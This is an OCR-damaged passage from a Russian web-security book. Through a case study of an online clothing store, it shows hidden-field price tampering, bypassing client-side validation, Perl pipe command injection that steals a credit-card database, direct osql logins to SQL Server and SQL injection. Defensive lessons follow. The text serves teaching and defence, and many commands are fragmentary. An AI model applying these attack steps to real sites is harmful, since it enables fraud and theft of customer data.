электрон ной коммерции. • Недостаточная проверка входных данных. • Неправильное использование данных cookie. • Недостаточное отслеживание сеансов и состояний. • Предположение о том, что код HTML и клиентские сценарии нельзя модифи цировать. • Некорректная интеграция с базой данных. • Изъяны в программном обеспечении сторонних производителей. 226 Часть III. Как они это делают
Все эти причины будут проанализированы в оставшейся части главы при рассмот рении деятельности одной компании, которая решила вести торговлю через Web. Кражи в электронном магазине компании Acme Fashions, Inc. Компания Acme Fashions, Inc. занималась розничной продажей одежды через сеть магазинов, разбросанных по всей стране. В магазины товары поступали с централь ного склада. Кроме того, Acme Fashions продавала товары по каталогу и принимала заказы от покупателей по телефону. В начале 1990 х годов Acme Fashions начала ис пользовать систему Oracle, на базе которой была развернута система управления скла дом и доставкой товаров. Это позволило компании значительно расшириться. Поскольку в середине 1990 х годов популярность Web значительно возросла, ви це президент компании Acme Fashions по вопросам маркетинга решил разместить информацию о товарах на собственном Web узле Для создания электронного каталога группа маркетинга принялась усердно создавать страницы HTML. Спустя несколько месяцев после развертывания Web узла объем продаж вырос в три раза. Компания сделала свой первый шаг к использованию электронного магазина. Установка электронного магазина компании Acme Fashions В 1999 году компания Acme Fashions, Inc. широко распахнула двери для всего ми ра, решив вести бизнес через World Wide Web. Руководители компании спешили по скорее развернуть свой чтобы успеть получить прибыль уже во время рож дественских праздников 2000 года. Поскольку крайний срок стремительно прибли жался, для создания электронного магазина было решено привлечь консалтинговую компанию, специализирующуюся на разработке программного обеспечения для элек тронной коммерции. Для того чтобы презентация нового Web узла состоялась 1 ноября 2000 года, и специалисты консалтинговой компании, и группа разработчиков Acme Fashions тру дились день и ночь. Они хотели объединить созданный ранее электронный каталог с коммерческой версией подсистемы выбора товаров (торговой тележ кой). В конце концов все проблемы были решены и система была запущена. Ее архи тектура показана на рис. 10.4. Однако по мере роста объема продаж после появления Web узла в компанию Acme Fashions стали поступать жалобы. Большинство из них касались бухгалтерии и отдела управления товарами на складе. В бухгалтерию часто передавались жалобы о том, что некоторые товары продаются по более низким ценам по сравнению с теми, которые были указаны в каталоге, однако о каких либо скидках ничего не было из вестно. Служащие, занимающиеся доставкой, были в полной растерянности при получении заказа на доставку отрицательного количества товара. Из за сумасшед шего темпа, характерного для рождественских каникул, все жалобы были отнесены к разряду необъяснимых и не принимались во внимание. После того как общая по терянная сумма достигла почти 000 и все попытки поиска источника проблемы ни к чему не привели, руководство компании обратилось к группе экспертов в об ласти безопасности. Глава 10. Кражи в электронных магазинах
Складская база данных (Oracle) База данных каталога (MS Access) Торговый зал магазина (ASP, HTML, JavaScript) Подсистема выбора товаров (торговая тележка) Подсистема управления сеансами (cookie) Рис. 10.4. Электронный магазин компании Acme Fashions, Inc. Поиск Торговый зал (storefront) электронного магазина компании Acme находился по ад ресуhttp://www.acme fashions.com ибылреализован набазе следующихтехнологий. Операционная система Web сервер Интерактивный каталог Вспомогательная база данных выбора товаров Microsoft Windows NT 4 0 Microsoft Internet Information Server (IIS) 4.0 Шаблон и страницы ASP Microsoft Access 2.0 Торговая тележка Shopcart.exe Для создания каталога в формате HTML использовались шаблоны и страницы ASP. Для автоматической генерации HTML страниц каталога использовалась база данных FoxPro. Затем страницы помещались в базу данных Microsoft Access и свя зывались со страницами ASP. На Web сервере была установлена подсистема выбора товаров ShopCart.exe (торговая тележка). Для генерации кода HTML со ссылками на подсистему выбора товаров были разработаны шаблоны ASP. Торговая тележка ис пользовалась для хранения информации о выбранных товарах. Во время разработки такое решение казалось самым легким и быстрым путем создания электронного магазина. В подсистеме выбора товаров ShopCart.exe существовал свой собственный модуль управления сеансами, который поддерживал данные cookie и серверные идентифика торы сеанса. Поскольку модифицировать подсистему ShopCart.exe было невозможно, задача проверки входных данных полностью лежала на сценариях JavaScript, выпол няемых в броузерах покупателей. Группа экспертов приступила к поиску всех возможных точек входа в систему и ее взлома. После изучения приложения и основных принципов функционирования Web узла было обнаружено несколько интересных ошибок, связанных с обеспе чением безопасности. 228 Часть III. Как они это делают
Скрытая опасность скрытых полей В реализации подсистемы выбора товаров (торговой тележки) группа экспертов обнаружила огромный изъян. Для связывания цены и товара использовались скрытые дескрипторы страниц HTML. На рис. 10.5 показана страница, на которой представле ны рубашки из каталога, расположенного по адресу «7 in Рис. 10.5. Страница каталога, взятая по адресу acme com/ С каждой рубашкой связана форма, позволяющая указать необходимое количество рубашек и поместить их в электронную торговую тележку. Проанализировав исход ный код (рис. 10.6), эксперты увидели, что изъян обусловлен несколькими последни ми строками HTML кода. Для запуска приложения ShopCart.exe использовался следующий код: 01: <form 02: <input 03: type=hidden 04: <input type=hidden 05: Quantity: <input type=text size 3 06: 07: alt='Add To 08: Глава 10. Кражи в электронных магазинах
II Исходный HTML код страницы каталога При щелчке на кнопке Buy броузер передаст на сервер запрос POST со значениями, введенными в поля формы. Обратите внимание на три скрытых поля в строках кода 2, 3 и 4. Их значения были переданы на сервер вместе с запросом POST. Таким образом, в системе существовал изъян на уровне приложения, поскольку перед тем, как пере давать форму, значения скрытых полей можно изменить. Для более глубокого понимания этой ситуации имеет смысл проанализировать HTTP запрос, передаваемый броузером на сервер. POST HTTP/1.0 Referer; Connection: Keep Alive User Agent: (Windows NT 5.0; U) Host: www.acme fashions.com Accept: */* Accept Encoding: gzip en Content length: 65 Значения скрытых полей Item, и Price передаются в запросе POST приложе нию /cgi bin/shopcart.exe. Только таким образом ему можно "узнать" цену товара, например рубашки OS0015. Отображаемый в окне броузера ответ показан на рис. 10.7. 230 Часть III. Как они это делают
acme fashions.com Home Out Order Status Updated To Update an change the quantity options and click update. delete to remove an item from the cart. Qty Total Update TOTALS Total Total $89.99 Plus sales t ax where applicable. To Continue Содержимое торговой тележки Если бы существовал способ передачи запроса POST с модифицированным значени ем поля Price, то можно было бы управлять ценой рубашки. В следующем запросе POST содержится информация о том, что цена рубашки составляет всего $0.99 вместо первоначальных $89,99! POST http: Connection: Keep Alive User Agent: (Windows NT 5.0; Host: www.acme fashions.com Accept: image/gif, image/pjpeg, */* Accept Encoding: gzip en Accept Charset: Cookie: 65 Для манипулирования ценой проще всего сохранить страницу каталога на локальном жестком диске, просмотреть в броузере ее локальную копию и внести необходимые изменения в HTML код. На рис. 10.8 показано, как можно сохранить локальную копию страницы. Глава 10. Кражи в электронных магазинах
catalog/shirt asp shirts There are 7 Shirts Socks 10.8. Сохранение локальной копии страницы на жестком диске Сначала нужно изменить значение поля Price в строке "Price" Второе изменение связано с модификацией значения дескриптора таким образом, чтобы в качестве ссылки использовался адрес http://wvw.acme fashions.com/cgi bin/shopcart.exe.Нарис.10.9показанмодифициро ванный файл shirts2.html. Теперь при открытии в окне броузера модифицированного файла shir t s2.ht ml и передаче запроса на покупку рубашки на экране появится окно, показанное на рис. 10.10. Что это --- уникальный способ заключения сделки или что нибудь другое? Как ни странно, но это действительно оказалось той самой проблемой, из за которой компа ния Acme Fashions, Inc. потеряла существенную часть своего дохода. После анализа сделанных заказов и выполненных транзакций группа экспертов по вопросам безо пасности обнаружила, что многочисленные посетители могли покупать товары по су щественно заниженным ценам. Другими словами, в большинстве случаев "покупа телями" были хакеры. Вопросы риска, связанного с передачей информации в скрытых полях, обсуждают ся в главе 7, где описано, как быстро находить скрытые поля в исходном коде. Взлом приложений с использованием данных, передаваемых в скрытых полях, --- задача до вольно тривиальная. Для ее осуществления не требуется особых навыков. Достаточно уметь пользоваться броузером и, возможно, редактором vi системы Unix или блокно том системы Windows. Полученный в результате эффект окажется по настоящему раз рушительным. 232 Часть III. Как они это делают
totally Cotton a of free with this </tdx/tr> <td act www. i b <input type hidden <input <lnput ; To </tr> </td> 10.9. Файл модифицированный для изменения цены acme fashions.com 1 Shirts for $0.99 each To Update an the options and update. Click delete to remove an item from the cart. (0.99 Update Delete TOTALS Sub Total Total $0.99 Plus sales tax where applicable. To Puc. Результаты манипуляций со скрытым полем Глава 10. Кражи в электронных магазинах
Использование механизмов поиска для обнаружения скрытых полей Directory and site: Us Add Your Site • and Jobs Press Cool • 10.11. Поиск с помощью механизма Google Search Tools and site: com The In most you hit the return kef instead clicking on the button. I j for Inc. shirts . . . hidden <input ... Acme ... hidden . • • Acme Fashions trousers . . . hidden Quantity: ... s&p 14k •• Puc, Результаты поиска скрытых полученные с использованием механизма Google 234 Часть III. Как они это делают
Чтобы быстро проверить, используются ли на Web узле или в приложении скры тые поля, можно прибегнуть к любому из многих механизмов поиска, доступных в Internet. Например, на рис. показано, как с помощью механизма Google оп ределить, используются ли на Web узле скрытые поля, в ко торых передается значение цены. На рис. 10.12 результаты поиска: внутри домена www.acme fashions.com были найдены все страницы, на которых содержатся строки type=hidden и He забывайте, что поиск нужно выполнять только на нужном вам узле. В противном случае придется анализировать огромное количество информации! Обход проверки данных в клиентской части приложений Следующая ошибка, обнаруженная экспертами по вопросам безопасности, была связана со способом проверки данных перед их передачей в подсистему выбора това ров (электронную торговую тележку ShopCart.exe). Web приложения состоят из мно жества сценариев и интерактивных компонентов, которые взаимодействуют с пользо вателем в основном с помощью HTML форм. Интерактивная часть любого компо нента получает входные данные из HTML формы. Затем эти данные обрабатываются на сервере. HTML формы абсолютно незаменимы, когда необходимо получить какие либо данные от пользователя. Однако в таких формах нельзя проверить корректность этих данных. Например, если HTML форма предназначена для ввода даты, то пользо ватель вполне может ввести дату 99 /8 8/ 7 7 . При этом броузер на такое значение никак не отреагирует. В приложении должны использоваться собственные механизмы про верки входных данных, позволяющие отфильтровывать некорректную информацию. Проверку входных данных HTML форм можно выполнять либо с использованием серверных сценариев Perl, PHP или ASP, либо с помощью клиентских сценариев, та ких, как JavaScript или VBScript. Разработчики компании Acme прекрасно осознавали необходимость проверки входных данных. Однако торговая тележка ShopCart.exe представляла собой готовое приложение, которое нельзя было модифицировать для реализации этого требования. В результате разработчики решили проводить проверку входных данных в клиентских сценариях, выполняющихся в самом броузере. Кто то из них даже отметил: "Да, это неплохая идея, поскольку нагрузка на центральный процессор сервера будет гораздо ниже. Пусть вместо него всю работу выполняет клиентский броузер". Не вызывает сомнения тот факт, что можно без проблем изменить любой фраг мент клиентской части приложения. Для этого достаточно отредактировать исходный HTML код, переданный в броузер. Экспертами по вопросам обеспечения безопасно сти на узле www.acme fashions.com было обнаружено несколько клиентских сценариев, в которых выполнялась проверка входных данных. Если пользователь попытается ку пить 5 рубашек, то на экране появится диалоговое окно с сообщением о вводе не корректного значения. На рис. 10.13 показан пример проверки входных данных, выполняемой с помощью клиентского сценария JavaScript. Используемый при этом исходный код приведен ниже. <script> function {|| <=0){ enter a valid =1; Глава 10. Кражи в электронных магазинах
return false; } else {return true; } </script> <input type=text size=3 . acme fashions.com 10.13. входных данных с использованием клиентского сце нария JavaScript Этот код обеспечивает ввод в поле gty только положительных чисел. Однако, по скольку проверка выполняется в клиентском сценарии, ее легко обойти. Запретив вы полнение сценариев JavaScript в броузере, взломщик сможет обойти проверку входных данных в клиентской части приложения! Если сбросить флажок En able претив таким образом выполнение сценариев JavaScript (рис. 10.14), то в поле можно будет ввести любое значение. На рис. 10.14 показано диалоговое окно параметров броузера Netscape, в котором можно отключить режим выполнения сценариев JavaScript. Теперь, если для обозначе ния количества товара ввести 3, броузер передаст на сервер следующий запрос POST: POST HTTP/1.0 Connection: Keep Alive 236 Часть III. Как они это делают
User Agent: (Windows NT 5.0; U) Host: www.acme fashions.com Accept: */* Accept Encoding: gzip en iso 8859 l,*,utf 8 Cookie: shopcartstore=3009912 Content length: 63 Рис. Отключение сценариев JavaScript Обратите внимание, как такой позволяет полностью обойти меха низм проверки данных в клиентской части приложения. На рис. показан от вет сервера. Из рис. 10.15 видно, что пользователь сделал заказ на 5 рубашек по $54,99 и 3 ру башки по $89,99. Общая стоимость покупки составила всего $4,98. Возможность раз мещения заказов на отрицательное количество товара и, таким образом, снижение общей стоимости покупки, покупателям очень понравилась! Именно этот изъян и по служил причиной поступления в Acme заказов на отрицательное количест во товара. Руководство Acme Fashion, Inc. сделало вывод о том, что выполнять проверку входных данных в клиентской части приложения крайне опасно и недопустимо. Кто же виноват в этой ошибке? Ответственность за обнаруженный изъян полностью воз лагается на разработчиков подсистемы выбора товаров ShopCart.exe. Проверка вход ных данных должна выполняться именно в этом приложении. Однако, поскольку та кой механизм в нем отсутствует, разработчики Web узла были вынуждены реализовать эту проверку с использованием клиентских сценариев. Даже в настоящее время во многих коммерческих подсистемах выбора товаров (торговых тележках) не выполняется жесткая проверка входных данных. Для обозна чения количества товара иногда можно использовать даже дробные числа. Другим приложениям можно передавать метасимволы или входные данные большого размера, приводящие к краху серверной части приложения. Глава 10. Кражи в электронных магазинах
acme fashions.com Home View Out Order Status Payment Options Help Added quantity 5 of Shirts for $54.99 each To Update an change the quantity options and click update. Click delete to remove an item the Qty AS8495 Acme Shirts Total Sub Total Total $4.98 $4.98 Plus sales tax where applicable. Click To Shopping Покупка отрицательного количеств рубашек Усовершенствование узла После того как группа экспертов по вопросам безопасности предоставила свои результаты, руководство компании Acme решило внести радикальные изменения в свое приложение электронной коммерции. Была сформирована новая группа разра ботчиков, которая должна была проанализировать существующую систему и при необходимости переписать ее код. Используемая ранее коммерческая подсистема выбора товара ShopCart.exe не позволяла сохранять в базе данных информацию о товарах и ценах. Поэтому было решено разработать и использовать собственную подсистему. Одновременно с этим было решено также перейти к недавно появив шейся серверной платформе Windows 2000, под управлением которой работал Web сервер 5.0 и интерпретатор ActivePerl. На этот раз разработчики воспользовались свободно распространяемой в Internet подсистемой выбора товаров (торговой те лежкой), написанной на языке Все процедуры проверки входных данных, выполняемые в клиентской части при ложения, были тщательно проверены, а неправильно используемые скрытые поля бы ли удалены. Такие меры предосторожности должны были гарантировать отсутствие старых ошибок. Новая система была готова 1 августа года. 238 Часть III. Как они это делают
В системе новая проблема В бухгалтерию компании Acme 15 сентября пришел запрос от кредитной компа нии, пытающейся отследить источник мошенничества с кредитными карточками. Так случилось, что многие клиенты кредитной компании, сообщившие о случаях мошен ничества, делали покупки на Web узле компании Acme Fashions между 1 августа и 1 сентября. В компании были убеждены в том, что информация о кредитных карточках клиентов каким то образом была украдена у компании Acme. Раньше руководство Acme Fashions уже сталкивалось с проблемами подмены цен и успешно справлялось с ними. Теперь было необходимо решать вопрос о возможном воровстве номеров кредитных карточек. Была приглашена другая группа экспертов, которая должна была помочь в оценке ситуации. Эксперты обнаружили, что в журналах Web сервера отсутствуют данные за 29 авгу ста. На основе этого факта возникло предположение о том, что хакер мог удалить со держимое файла в котором эти дан ные находились. Размер файла был уменьшен до 0 байт. Было абсолютно очевидно, что для удаления данных из журналов Web сервера IIS хакер должен был обладать ад министративными привилегиями по его управлению. Поскольку никаких других доказательств вмешательства взломщика обнаружено не было, группа экспертов могла лишь предполагать возможную причину взлома. При исследовании содержимого жесткого диска оказалось, что файл одно временно присутствует в двух каталогах. purchases.mdb /s Volume in drive С is Serial Number is Directory of 08/29/2001 08:13p 2,624,136 purchases.mdb 1 File(s) 2,624,136 bytes Directory of 08/29/2001 ll:33p 2,624,136 purchases.mdb 1 File(s) 2,624,136 bytes Total Files Listed: 2 File(s) 5,248,272 bytes 0 Dir(s) 111,312,896 bytes free. Каким же образом файл purchases.mdb из каталога C:\ACMEDATA был скопирован в каталог Системный администратор компании Acme Fashions под твердил, что файл purchases.mdb использовался для хранения информации о заказах, а именно: имени клиента, адреса доставки, перечня приобретенных товаров и номера кредитной карточки, которая использовалась для оплаты покупки. Разработчики при ложения уверяли руководство компании в том, что файлы базы данных хранятся за пределами корневого каталога документов Web сервера Поэто му группа экспертов решила, что копия файла pur chase s.mdb была создана именно в день совершения мошенничества --- 29 августа года в Это и была работа хакера. Скорее всего, взломщик скопировал файл из каталога в каталог а затем загрузил его с использованием броузера, передав на сер верзапросhttp://www.acme fashions.com/purchases.mdb.Однако после загрузкихакер, вероятно, забыл удалить копию файла из каталога Глава 10. Кражи в электронных магазинах
Удаленное выполнение команд Тот что файл был скопирован из одного местоположения в другое и что с Web сервера были удалены журналы, позволяет сделать предположение о том, что хакер мог выполнять команды на узле www.acrae fashions.com, а также обладал при вилегиями суперпользователя или администратора. После анализа средств защиты и процедур блокировки, предоставляемых операционной системой, группа экспертов пришла к выводу, что изъян, скорее всего, можно найти в коде Web приложения. И действительно, проблема заключалась в недостаточной проверке входных данных в исходном коде подсистемы выбора товаров (торговой тележки). Управление торговой тележкой с использованием сценария Perl С помощью этого сценария отслеживаются также все клиентские сеан сы работы с Web приложением. Подсистема выбора товаров получает информацию из базы данных products.mdb и взаимодействует с подсистемой оплаты покупок, обраба тывающей платежи, данные о которых хранятся в файле На рис. 10.16 показана страница, сгенерированная сценарием mywebcart.cgi. Обра тите внимание на указанный в окне броузера адрес URL. Сейчас самое время вспом нить о плохо реализованных торговых тележках, речь о которых шла в главе 3. Вот этот адрес: им• • totally Cotton totally Cotton I•• • ............... to • Cotton Plain Рис. 16. Страница, сгенерированная сценарием mywebcart.cgi 240 Часть III. Как они это делают
Наибольший интерес представляют передаваемые параметры, а также их значения. Обратите внимание, что в параметре содержится значение shirts3.html. В сценарии изъян имеет следующая строка: $file = . $file) die "Cannot open Судьба сценария предопределена. Параметр nextpage передается в функ цию без какой бы то ни было проверки. Как упоминалось в главе 3, в конец значе ния, передаваемого в параметре nextpage, взломщик может вставить символ конвейера | и таким образом выполнить с помощью функции произвольную команду. При использовании следующего запроса на узле была бы выполнена команда dir Результат выполнения этого запроса показан на рис. acme fashions.com • Volume in drive С Volume Serial Number a Dire 06/12/2001 01:47t and Settings 12:54p 09:57p ll:43p 08:05p Perl 01/19/2001 03:44p Program Files 03:44p 0 0 8 free 10.17. Выполнение произвольных команд с использованием сценария В рассматриваемом случае можно предположить, что взломщик с использованием команды /s получил полный перечень каталогов. В полученных результатах он заметил файл содержащийся в каталоге C:\ACMEDATA. Он скопировал этот файл в каталог и загрузил его на свой компьютер, вавшись запросом http://www.acme fashions.com/purchases.mdb. На рис. 10.18 и 10.19 показано, как файл был скопирован, а затем загружен. Глава 10. Кражи в электронных магазинах 241
Рис. 10.18. Копирование в каталог Таким образом, в сценарии группой экспертов был выявлен серьез ный изъян. В настоящее время аналогичные изъяны можно найти даже во многих коммерческих версиях торговых тележек. Подсистемы выбора товаров, допускающие удаленное выполнение команд Во многих коммерческих подсистемах выбора товаров (торговых тележках) выпол няется недостаточная проверка входных параметров, передаваемых в строке или скрытых полях. Из за этого в строку запроса можно вставлять метасимволы и удаленно выполнять команды на Web сервере. Ниже представлены названия неко торых статей, взятых с различных Web узлов, тематика которых связана с изъяна ми подсистем выбора товаров. • 6 сентября 2001года появилась статья Cart Commerce System Lets Remote Users Execute Arbitrary Shell Commands о том, что система электронной коммер ции ShopPlus позволяет удаленно выполнять произвольные команды оболочки. • 8 сентября года опубликована статья Hassan Consulting Shopping Cart Allows Remote Users to Execute Shell Commands on the Server о возможности удаленного выполнения команд оболочки на сервере, на котором используется торговая те лежка компании Hassan Consulting. 242 Часть III. Как они это делают
• 19 сентября года в статье eshop Commerce System Lets Remote Users Execute Arbitrary Commands on the system and Gain Shell со общалось об изъяне системы электронной коммерции Webdiscount.net, позво ляющем выполнять в системе произвольные команды и получать доступ к командной оболочке. • 20 октября года опубликована статья Mountain Network Systems Cart Lets Remote Users Execute Arbitrary Commands on the Web Server о возможности удален ного выполнения произвольных команд на Web сервере, на котором установле на подсистема от компании Mountain Network Systems. Все эти торговые тележки оказывались абсолютно не защищенными от ситуаций, когда в один из параметров URL вставлялся символ конвейера Для реализации атаки можно воспользоваться следующими URL: http: | При использовании таких URL значение передаваемого параметра без всякой про верки передается функции языка Perl. acme fashions.com Casual There are In 1ffle(s)copied. 10.19. Загрузка файла Глава 10. Кражи в электронных магазинах 243
Заключительные замечания Из за трех критических ошибок компания ACME Fashions, Inc. за короткий пери од времени потеряла много денежных средств. Все эти ошибки были обусловлены не достаточной проверкой входных данных и чрезмерным доверием к информации, по лучаемой от Web броузера. Рассмотрим их еще раз. Первый изъян был связан с некорректным использованием скрытых полей. Такая важная информация, как идентификатор товара и его цена, передавалась через скры тые поля HTML форм. Следует помнить о том, что как только Web сервер передал Web броузеру ответ на его запрос, он полностью теряет контроль над этими данными. Протокол HTTP не поддерживает состояния (stateless). означает, что сервер не может самостоятельно определить, какие данные были переданы броузером --- кор ректные или нет. Значения скрытых полей можно модифицировать на клиентском компьютере, а затем передать обратно на Web сервер. Если на сервере не выполняет ся проверка корректности передаваемых в скрытых полях данных, то на клиентском компьютере данные можно изменить и таким полностью обойти процедуру проверки. Для защиты системы от подобных взломов разработчики Web узлов должны избегать передачи данных через скрытые поля. Эта информация должна храниться в серверной базе данных, а при необходимости извлекаться из нее. Вторая очевидная ошибка заключается в использовании для проверки входных данных клиентских сценариев. Зачастую для снижения нагрузки на сервер разработ чики пытаются использовать языки JavaScript или VBScript в клиентской части при ложения. Однако клиентские сценарии также не обеспечивают необходимого уровня защиты. Они позволяют повысить лишь привлекательность Web страниц. может изменить клиентские сценарии и легко обойти процедуры проверки входных данных. Как и в случае с компанией Acme, можно ввести отрицательное количество товара, обойдя все ограничения, налагаемые встроенным сценарием JavaScript. В не которых системах электронной коммерции часть арифметических операций, напри мер подсчет общего количества товара и стоимости, выполняются в их клиентской части. С точки зрения покупателя, такая возможность очень удобна, поскольку по зволяет быстро увидеть обновленные значения. Однако на самом такого подхо да следует избегать. Приложения должны быть спроектированы таким образом, чтобы вся проверка корректности данных и все вычисления выполнялись на серве ре. Только в этом случае взломщик не сможет манипулировать данными. Можно сформулировать следующее золотое правило: "Нельзя доверять данным, передавае мым из клиентского броузера". Последний изъян был связан с недостаточной проверкой входных данных в сцена рии Всякий раз, когда данные из полей HTML формы передаются на вход таким функциям, как необходимо удостовериться в отсутствии каких либо комбинаций символов или метасимволов. Нужно выполнять проверку как длины полученных данных (для предотвращения переполнения буфера), так и наличия мета символов. К сожалению, компания Acme не позаботилась о том, чтобы отфильтровать такие метасимволы, как &, $, | и <. Более исчерпывающий перечень процедур про верки входных данных содержится в главе 1. К дополнительным проблемам обеспечения безопасности, характерным для сис тем электронной коммерции, можно отнести следующие: возможность поиска на сервере временных файлов; использование несовершенных механизмов шифрова ния; незащищенность каталогов файловой системы; возможность повышения при вилегий, получения информации о клиентах, изменения заказов и генерации усло вия DoS (Denial of Service --- отказ в обслуживании). Все перечисленные изъяны могут использоваться для реализации атак и присутствуют во многих приложениях электронной коммерции. 244 Часть III. Как они это делают
Резюме Приложения электронной коммерции привлекают внимание хакеров, поскольку с их использованием можно "манипулировать" финансовыми средствами по своему ус мотрению. Каждый менеджер по информационным технологиям, системный админи стратор и разработчик должны уделять большое внимание защите важной корпора тивной и другой информации от злонамеренных хакеров. Единственный изъян при ложения может оказаться катастрофическим и способен привести к большим потерям. Однако в этом случае теряются не только деньги, но и с трудом заслуженная репута ция. Неважно, кто совершил ошибку --- группа разработчиков приложения или ком пания разработчик какого либо коммерческого компонента. В любом случае постра дает компания, в которой используется это приложение. Защитите свои Web приложения, присвойте задаче обеспечения их безопасности самый высокий приори тет до того момента, как будет написана первая строка кода. Глава 10. Кражи в электронных магазинах 245 •
ГЛАВА11 к базам данным Истинное начало нашего конца. Вильям Шекспир "Сон в летнюю ночь действие V, сцена 1
Введение Базы данных являются неотъемлемой частью современного бизнеса. Независимо от того, хранятся ли данные в отдельном файле или для поддержки их целостности используется современная объектно ориентированная база данных, необходимость хранения информации и обеспечение быстрого доступа к ней всегда были решающи ми факторами в любой сфере деятельности или приложении. И Web здесь не является исключением. Современные Web приложения тесно связаны с базами данных. Они используются для хранения самой разной начиная с пользовательских имен/паролей и заканчивая почтовыми адресами и данными о кредитных карточках. При глубоком анализе вопросов обеспечения безопасности в Web необходимо учитывать уровень ба зы данных и, что еще более важно, способы, с помощью которых взломщики пытают ся обойти ограничения приложений и получить доступ к важным данным. В этой главе обсуждается взаимодействие между Web сервером и базой данных. Вы узнаете об изъянах, существующих в архитектуре приложений, которые позволяют взломщикам извлекать конфиденциальную информацию или, что еще хуже, удаленно выполнять команды. Прямые атаки на базы данных SQL Хотя это и не является главной темой данной главы, следует отметить, что к серверам Microsoft SQL Server и Oracle по умолчанию можно обращаться по се ти. Другими словами, если брандмауэр сконфигурирован неправильно, то взломщики смогут установить соединение с базой данных даже без использова ния Web приложения. Хотя такая возможность редко предоставляется за пределами локальной сети, она создает идеальные условия для базы данных. Для удаленного взлома базы данных с использованием этого подхода нужно выполнить несколько простых дей ствий. Найдите систему с любым открытым портом, таким, как TCP и UDP 1434 (Microsoft SQL Server) или TCP 1521 (Oracle). Это можно осуществить с помощью любой из многочисленных утилит сканирования портов, в том числе и от компании Foundstone (http://www.foundstone.com). Кроме того, для поиска SQL серверов в определенном диапазоне IP адресов можно воспользоваться таким средством, как от компании Chip Andrews Как видно из рис. с помощью утилиты SQLPing2 было обнаружено два SQL сервера, установленных на узлах с адресами и Как только стало известно местоположение серверов в сети, можно попробовать по лучить к ним доступ. Для этого существует множество способов, однако проще всего воспользоваться утилитой osql.exe, входящей в комплект поставки SQL Server 2000 и Desktop Engine (MSDE). Для ее запуска используется следующий синтаксис: С:\> S 192.168.0.8 0 sa P Login failed for user С помощью параметров командной строки S (сервер), (имя пользователя) и Р (пароль) можно попробовать обратиться к серверу базы данных. Как видно из при веденного выше фрагмента, попытка использования имени без пароля (такой пароль применяется чаще всего!) ни к чему не привела. Однако при вводе кор ректной комбинации имени пользователя и пароля на экране появится строка приглашения 1>, позволяющая ввести любую допустимую команду. Глава Доступ к базам данных 247
. ! 00 no 00:00 00 00:05 00 00:10 00 00 00:21 00 ** fty tieip j: : ng ho nn ng nn nn ng ° :. ng'' 92 92 92 92 92 92 • . . . .. Port полученные при сканировании портов с использованием утилиты S 192.168.0.8 sa P password l>s elect row affected) 1> Теперь в качестве пользователя базы данных можно при менить некоторые приемы, чтобы больше узнать о базе данных и структуре ее таб лиц. При исследовании SQL сервера компании Microsoft первый шаг заключается в использовании хранимой процедуры sp_helpdb (конечно, если сетевой админист ратор не удалил ее в целях защиты). Эта хранимая процедура предоставит перечень существующих баз данных, их имена, размер, владельцев и идентификаторы (dbid). S 192.168.0.8 U sa P password "use master; exec sp После этого с помощью хранимой процедуры sp help можно выполнить инвен таризацию всех объектов определенной базы данных. Она позволяет получить подробную информацию обо всех объектах базы данных, в том числе о каждом представлении, пользовательской и системной таблице, функции и хранимой процедуре. C:\>osql S 192.168.0.8 U sa P password Q "use exec С помощью функции можно идентифицировать все таблицы конкретной базы данных. S 192.168.0.8 sa P Q "use master; select * from 248 Часть Как они это делают
Можно также воспользоваться наиболее мощной хранимой процедурой и выпол нить на удаленной системе любую команду. Например, при использовании сле дующей команды в файл будет помещен перечень каталогов: С:\> S 192.168.0.8 sa P blah Q "exec Кроме всех перечисленных возможностей, для получения информации можно вос пользоваться любым оператором и функцией SQL. Возможно, удастся даже овла деть самим сервером баз данных. Более подробная информация по этому вопросу содержится в главе 2. Может показаться, что описанные прямые вторжения на SQL сервер являются лишь упрощенной иллюстрацией. Возможно, отчасти это именно так. Однако при веденные примеры помогут лучше понять то, что будет рассматриваться чуть ни же, --- воздействие на SQL сервер через Web приложение. Взлом Web узла компании по продаже подержанных автомобилей Глубокой ночью неудовлетворенность Джека по поводу неудававшейся реализации процедуры переполнения буфера, которую ему не терпелось разработать, стала на столько высока, что даже из за мелких недоразумений у него постоянно возникали ссоры с соседом по комнате. В конце концов его товарищ посоветовал немного от дохнуть, заняться чем нибудь другим, а ответ не заставит себя долго ждать. Поэтому Джек решил зайти на Web узел Google и поискать автомобиль, который ему всегда хотелось иметь --- BMW 740IL черного цвета. На первых трех узлах таких автомобилей не было. По мере продолжения поиска раздражение Джека быстро нарастало, пока он случайно не наткнулся на Web узел местной компании по продаже автомобилей. В ее обширном списке товаров он нашел множество подходящих автомобилей, один из ко торых, BMW 470IL 1999 года выпуска в отличном состоянии стоил всего $35 000. Джек очень обрадовался, пока не наткнулся на цену, значительно превышавшую ту сумму, которую он мог заплатить. И он решил сорвать свою злость на ком нибудь другом, а не на соседе по комнате. Проверка входных данных Эта процедура позволяет предотвратить использование непроверенных пользова тельских данных на Web сервере и в базе данных, а также не допустить извлечения конфиденциальной информации. При просмотре результатов поиска Джек обнаружил интересную деталь: на Web узел компании по продаже автомобилей параметры запро са передавались в адресе (рис. Джек увидел, что единственным параметром, передаваемым файлу ASP, является поле ID. Он предположил, что это поле представляет собой уникальный идентифика тор каждой записи в таблице или базе данных склада, поэтому попробовал несколько аналогичных команд. Один из полученных результатов показан на рис. Глава Доступ к базам данных 249
Automobile Inventory The following details the current inventory of used and trucks on our lot. 11.2. Записи базы данных, переданные в ответ на запрос g" Inventory the [Model The following information details the current inventory of used cars and trucks on our lot. (poor 3000 Puc. 11.3. Изменение параметра ID для извлечения из базы данных но вых записей Убедившись, что записи передаются из некоторой определенной таблицы базы данных, Джек решил попробовать извлечь из этой таблицы все записи (немного схит рив и добавив в URL строку ;OR На показаны результаты выполнения этого запроса. 250 Часть III. Как они это делают
